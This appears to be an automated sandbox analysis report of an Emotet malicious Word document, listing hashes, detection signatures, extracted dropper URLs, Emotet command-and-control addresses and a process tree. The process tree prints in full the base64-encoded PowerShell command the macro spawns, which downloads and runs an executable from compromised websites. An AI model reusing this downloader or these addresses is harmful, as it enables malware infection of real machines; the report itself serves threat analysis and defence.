Analysis

  • max time kernel
    138s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    18/08/2020, 09:25

General

  • Target
    emotet_e1_cb25ae558b0f7fcfc47025986a8012bb4b205121e43c896f85fcf9e1dbff0441_2020-08-18__092329._doc.doc
  • Size 230KB
  • Sample200818-ld4sblxt76
  • SHA256 cb25ae558b0f7fcfc47025986a8012bb4b205121e43c896f85fcf9e1dbff0441
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://micromex.com/wordpress/fQ4dV31/

  • exe.dropper

    http://www.marcovacca.com/img_albums/nzb/

  • exe.dropper

    http://www.meltonian.net/AjpEE/

  • exe.dropper

    http://mikespub.net/azure/o3J/

  • exe.dropper

    http://1kocicikralovstvi.cz/wp-includes/3z/

Extracted

Family
  • emotet

C2
  • 45.173.88.33:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 190.163.31.26:80

  • 94.206.45.18:80

  • 68.183.170.114:8080

  • 219.92.13.25:80

  • 111.67.12.221:8080

  • 207.144.103.227:80

  • 73.116.193.136:80

  • 177.72.13.80:80

  • 70.32.84.74:8080

  • 77.55.211.77:8080

  • 172.104.169.32:8080

  • 51.159.23.217:443

  • 80.249.176.206:80

  • 192.241.146.84:8080

  • 190.115.18.139:8080

  • 190.190.148.27:8080

  • 104.131.41.185:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_cb25ae558b0f7fcfc47025986a8012bb4b205121e43c896f85fcf9e1dbff0441_2020-08-18__092329._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3740
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAHEAOQBxADkAbQBvAD0AKAAnAFoANwAyAHkAYgA4ACcAKwAnAHIAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQAZQBuAHYAOgB0AEUATQBQAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAFUAcgBpAFQAWQBQAGAAUgBPAGAAVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVQBzADEAcAAxADIAZwAgAD0AIAAoACcAQQB0AG0AZwBvACcAKwAnADYAJwApADsAJABLADEAcQA0AHAAYwBrAD0AKAAnAEcAeQA0ADUAMgAnACsAJwBoAG4AJwApADsAJABDAHMANgB3ADYAOQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyACcAKwAnADAAMQA5ACcAKwAnAHsAMAAnACsAJwB9ACcAKQAtAEYAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFUAcwAxAHAAMQAyAGcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFQAZQA0AHgAXwBoAG8APQAoACcAVwBiAHMAcABoACcAKwAnAHAAJwArACcAXwAnACkAOwAkAEkANQB2AHAAegBqAHEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAHQAOwAkAEoANABlAHYAOQA0AHoAPQAoACcAaAB0AHQAJwArACcAcABzADoALwAvAG0AaQAnACsAJwBjAHIAJwArACcAbwBtACcAKwAnAGUAeAAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwBmAFEANABkAFYAJwArACcAMwAxAC8AKgBoAHQAdABwADoALwAvAHcAdwB3ACcAKwAnAC4AJwArACcAbQBhAHIAJwArACcAYwBvAHYAYQAnACsAJwBjAGMAYQAuACcAKwAnAGMAbwBtAC8AaQBtAGcAXwAnACsAJwBhAGwAJwArACcAYgB1AG0AcwAvACcAKwAnAG4AegAnACsAJwBiACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHcAdwAnACsAJwB3AC4AJwArACcAbQBlAGwAdABvAG4AaQBhAG4ALgAnACsAJwBuAGUAdAAvACcAKwAnAEEAagBwAEUAJwArACcARQAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6AC8ALwBtAGkAawBlAHMAcAB1AGIALgBuAGUAdAAvAGEAegB1AHIAJwArACcAZQAvAG8AMwBKAC8AKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnADEAawBvAGMAaQAnACsAJwBjAGkAawByAGEAJwArACcAbAAnACsAJwBvAHYAJwArACcAcwB0AHYAaQAuAGMAegAvAHcAcAAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwArACcAcwAvACcAKwAnADMAegAvACcAKQAuACIAUwBgAHAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGkAdAAxAHMAdQAwAD0AKAAnAFMAbwBzACcAKwAnAF8AJwArACcAagBkADIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWgA2AHEAOQBnAGUANAAgAGkAbgAgACQASgA0AGUAdgA5ADQAegApAHsAdAByAHkAewAkAEkANQB2AHAAegBqAHEALgAiAEQAbwB3AGAATgBMAGAAbwBBAGAARABmAEkATABlACIAKAAkAFoANgBxADkAZwBlADQALAAgACQAQwBzADYAdwA2ADkAYwApADsAJABRAHEAdgBjAHcAaQBpAD0AKAAnAEkANAAnACsAJwA5AG8AdQA3ACcAKwAnAGsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEMAcwA2AHcANgA5AGMAKQAuACIATABlAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADYAMwA0ADYAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQAQwBzADYAdwA2ADkAYwApADsAJABOAHUAcwB6AHgAdgBoAD0AKAAnAFYAOAB2ADEAbwAnACsAJwBvADMAJwApADsAYgByAGUAYQBrADsAJABOADIAMgA1ADkAeQBjAD0AKAAnAEkAcAAxAHgAdQAnACsAJwBwACcAKwAnADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSAG0AMQB1AGkAbABhAD0AKAAnAEoAOQAzACcAKwAnAGwAeABzADgAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Atmgo6.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Atmgo6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\bidispl\SpatializerApo.exe
        "C:\Windows\SysWOW64\bidispl\SpatializerApo.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3796

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2740-7-0x00007FFE6FF50000-0x00007FFE7093C000-memory.dmp

        memory/2740-8-0x0000019075A90000-0x0000019075A91000-memory.dmp

        memory/2740-9-0x0000019075DA0000-0x0000019075DA1000-memory.dmp

        memory/2760-13-0x0000000002260000-0x000000000226C000-memory.dmp

        memory/3740-0-0x00007FFE776B0000-0x00007FFE77D76000-memory.dmp

        memory/3796-16-0x0000000002130000-0x000000000213C000-memory.dmp